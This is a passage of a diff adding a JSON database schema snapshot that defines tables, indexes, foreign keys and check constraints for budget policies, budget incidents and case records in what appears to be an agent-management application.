+        "budget_incidents_company_scope_idx": {
+          "name": "budget_incidents_company_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_incidents_policy_window_threshold_idx": {
+          "name": "budget_incidents_policy_window_threshold_idx",
+          "columns": [
+            {
+              "expression": "policy_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_start",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "threshold_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"budget_incidents\".\"status\" <> 'dismissed'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "budget_incidents_company_id_companies_id_fk": {
+          "name": "budget_incidents_company_id_companies_id_fk",
+          "tableFrom": "budget_incidents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "budget_incidents_policy_id_budget_policies_id_fk": {
+          "name": "budget_incidents_policy_id_budget_policies_id_fk",
+          "tableFrom": "budget_incidents",
+          "tableTo": "budget_policies",
+          "columnsFrom": [
+            "policy_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "budget_incidents_approval_id_approvals_id_fk": {
+          "name": "budget_incidents_approval_id_approvals_id_fk",
+          "tableFrom": "budget_incidents",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.budget_policies": {
+      "name": "budget_policies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metric": {
+          "name": "metric",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'billed_cents'"
+        },
+        "window_kind": {
+          "name": "window_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "amount": {
+          "name": "amount",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "warn_percent": {
+          "name": "warn_percent",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 80
+        },
+        "hard_stop_enabled": {
+          "name": "hard_stop_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "notify_enabled": {
+          "name": "notify_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "is_active": {
+          "name": "is_active",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "budget_policies_company_scope_active_idx": {
+          "name": "budget_policies_company_scope_active_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "is_active",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_policies_company_window_idx": {
+          "name": "budget_policies_company_window_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_policies_company_scope_metric_unique_idx": {
+          "name": "budget_policies_company_scope_metric_unique_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "budget_policies_company_id_companies_id_fk": {
+          "name": "budget_policies_company_id_companies_id_fk",
+          "tableFrom": "budget_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.built_in_managed_resources": {
+      "name": "built_in_managed_resources",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bundle_key": {
+          "name": "bundle_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_kind": {
+          "name": "resource_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_key": {
+          "name": "resource_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_id": {
+          "name": "resource_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stock_version": {
+          "name": "stock_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stock_hash": {
+          "name": "stock_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "defaults_json": {
+          "name": "defaults_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "built_in_managed_resources_company_idx": {
+          "name": "built_in_managed_resources_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "built_in_managed_resources_resource_idx": {
+          "name": "built_in_managed_resources_resource_idx",
+          "columns": [
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "built_in_managed_resources_company_bundle_resource_uq": {
+          "name": "built_in_managed_resources_company_bundle_resource_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "bundle_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "built_in_managed_resources_company_id_companies_id_fk": {
+          "name": "built_in_managed_resources_company_id_companies_id_fk",
+          "tableFrom": "built_in_managed_resources",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.case_attachments": {
+      "name": "case_attachments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "asset_id": {
+          "name": "asset_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_attachments_company_case_idx": {
+          "name": "case_attachments_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_attachments_asset_uq": {
+          "name": "case_attachments_asset_uq",
+          "columns": [
+            {
+              "expression": "asset_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_attachments_company_id_companies_id_fk": {
+          "name": "case_attachments_company_id_companies_id_fk",
+          "tableFrom": "case_attachments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_attachments_case_id_cases_id_fk": {
+          "name": "case_attachments_case_id_cases_id_fk",
+          "tableFrom": "case_attachments",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_attachments_asset_id_assets_id_fk": {
+          "name": "case_attachments_asset_id_assets_id_fk",
+          "tableFrom": "case_attachments",
+          "tableTo": "assets",
+          "columnsFrom": [
+            "asset_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.case_documents": {
+      "name": "case_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_documents_company_case_key_uq": {
+          "name": "case_documents_company_case_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_documents_document_uq": {
+          "name": "case_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_documents_company_case_updated_idx": {
+          "name": "case_documents_company_case_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_documents_company_id_companies_id_fk": {
+          "name": "case_documents_company_id_companies_id_fk",
+          "tableFrom": "case_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_documents_case_id_cases_id_fk": {
+          "name": "case_documents_case_id_cases_id_fk",
+          "tableFrom": "case_documents",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_documents_document_id_documents_id_fk": {
+          "name": "case_documents_document_id_documents_id_fk",
+          "tableFrom": "case_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.case_events": {
+      "name": "case_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_events_case_created_idx": {
+          "name": "case_events_case_created_idx",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_events_company_case_idx": {
+          "name": "case_events_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_events_company_id_companies_id_fk": {
+          "name": "case_events_company_id_companies_id_fk",
+          "tableFrom": "case_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_events_case_id_cases_id_fk": {
+          "name": "case_events_case_id_cases_id_fk",
+          "tableFrom": "case_events",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_events_actor_agent_id_agents_id_fk": {
+          "name": "case_events_actor_agent_id_agents_id_fk",
+          "tableFrom": "case_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "case_events_kind_check": {
+          "name": "case_events_kind_check",
+          "value": "\"case_events\".\"kind\" in (\n        'created',\n        'updated',\n        'fields_changed',\n        'status_changed',\n        'issue_linked',\n        'issue_unlinked',\n        'document_revised',\n        'child_linked',\n        'attachment_added',\n        'label_added',\n        'label_removed'\n      )"
+        },
+        "case_events_actor_type_check": {
+          "name": "case_events_actor_type_check",
+          "value": "\"case_events\".\"actor_type\" in ('user', 'agent', 'system')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.case_issue_links": {
+      "name": "case_issue_links",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_issue_links_case_issue_uq": {
+          "name": "case_issue_links_case_issue_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_issue_links_company_case_idx": {
+          "name": "case_issue_links_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_issue_links_issue_idx": {
+          "name": "case_issue_links_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_issue_links_company_id_companies_id_fk": {
+          "name": "case_issue_links_company_id_companies_id_fk",
+          "tableFrom": "case_issue_links",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_issue_links_case_id_cases_id_fk": {
+          "name": "case_issue_links_case_id_cases_id_fk",
+          "tableFrom": "case_issue_links",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_issue_links_issue_id_issues_id_fk": {
+          "name": "case_issue_links_issue_id_issues_id_fk",
+          "tableFrom": "case_issue_links",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "case_issue_links_role_check": {
+          "name": "case_issue_links_role_check",
+          "value": "\"case_issue_links\".\"role\" in ('origin', 'work', 'reference')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.case_labels": {
+      "name": "case_labels",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label_id": {
+          "name": "label_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_labels_case_label_uq": {
+          "name": "case_labels_case_label_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "label_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_labels_company_case_idx": {
+          "name": "case_labels_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_labels_label_idx": {
+          "name": "case_labels_label_idx",
+          "columns": [
+            {
+              "expression": "label_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_labels_company_id_companies_id_fk": {
+          "name": "case_labels_company_id_companies_id_fk",
+          "tableFrom": "case_labels",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_labels_case_id_cases_id_fk": {
+          "name": "case_labels_case_id_cases_id_fk",
+          "tableFrom": "case_labels",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_labels_label_id_labels_id_fk": {
+          "name": "case_labels_label_id_labels_id_fk",
+          "tableFrom": "case_labels",
+          "tableTo": "labels",
+          "columnsFrom": [
+            "label_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.cases": {
+      "name": "cases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "case_number": {
+          "name": "case_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "identifier": {
+          "name": "identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_type": {
+          "name": "case_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'draft'"
+        },
+        "fields": {
+          "name": "fields",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "parent_case_id": {
+          "name": "parent_case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "cases_company_case_number_uq": {
+          "name": "cases_company_case_number_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_identifier_uq": {
+          "name": "cases_identifier_uq",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_type_key_uq": {
+          "name": "cases_company_type_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_status_idx": {
